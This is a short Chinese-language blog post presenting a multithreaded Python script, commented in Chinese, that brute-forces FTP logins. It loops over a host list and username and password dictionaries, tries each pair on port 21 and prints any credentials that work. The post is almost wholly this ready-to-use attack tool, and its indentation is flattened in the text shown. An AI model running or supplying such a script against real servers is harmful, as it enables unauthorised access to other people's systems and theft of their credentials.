#coding=utf-8
# 引入ftplib模块
import ftplib
# 从threading模块中引入Thread 多线程模块
from threading import Thread
# 定义一个暴力破解的函数
def ftpLogin(host,port,username,password):
ftp = ftplib.FTP()
try:
# connect(主机,端口,超时时间)
ftp.connect(host,port,1)
# login(用户名,密码)
ftp.login(username,password)
# 登录成功之后执行list命令
ftp.retrlines('list')
# 退出登录
ftp.quit()
# 输出它的主机地址和登录成功地用户名和密码
print('Ftp Login Success! ' + "host: " + host + "\t" + "username: " + username + '\t' + "password: " + password)
except ftplib.all_errors:
pass
# 打开存放目标主机的文件
host = open('host.txt')
# 遍历这个文件地内容
for host_Line in host:
# 以回车进行分割
host = host_Line.strip('\n')
print("Cracking: "+ host + " ")
# 打开用户名字典
user = open('user.txt')
# 同上
for user_Line in user:
user = user_Line.strip('\n')
pwd = open('pass.txt','r')
for pass_Line in pwd:
pwd = pass_Line.strip('\n')
# 定义多线程。target用于多线程在ftpLogin这个函数上。
# args为函数的参数即形参
t = Thread(target=ftpLogin,args=(host,'21',user,pwd))
t.start() # 启动多线程

在本脚本中需要三个文件。即host.txt和user.txt以及pass.txt。
host.txt 对应主机IP
user.txt 对应用户字典
pass.txt 对应密码字典
Python ftplib 模块的使用




本文作者为blog,转载请注明。